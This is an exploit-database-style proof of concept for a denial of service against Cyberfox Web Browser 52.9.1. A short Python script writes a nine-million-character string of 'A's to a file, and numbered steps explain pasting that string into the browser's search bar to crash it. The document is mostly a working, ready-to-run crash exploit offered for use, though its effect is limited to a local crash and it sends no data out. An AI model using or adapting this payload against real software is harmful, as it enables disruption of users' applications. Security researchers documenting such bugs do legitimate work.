# Exploit Title: Cyberfox Web Browser 52.9.1 - Denial of Service (PoC)# Date: 2021-09-26 # Exploit Author: Aryan Chehreghani# Vendor Homepage: https://cyberfox.8pecxstudios.com# Software Link: https://www.techspot.com/downloads/6568-cyberfox-web-browser.html# Version: v52.9.1 (Possibly all versions)# Tested on: windows#[ About - Cyberfox ] :#Cyberfox is a Mozilla-based Internet browser designed to take advantage of 64-bit architecture #but a 32-bit version is also available.The application provides a higher memory performance when navigating your favorite pages.# [ Exploit/POC ] :# 1.Run the python script, it will create a new file "output.txt"# 2.Run Cyberfox Web Browser# 3.Copy the content of the file "output.txt" & Pasteinto the "search bar"# 4.Crashed
Overflow = "\x41"* 9000000
try:
f=open("output.txt","w")
print("[!] Creating %s bytes DOS payload...."%len(Overflow))
f.write(Overflow)
f.close()
print("[!] File Created !")
except:
print("File cannot be created")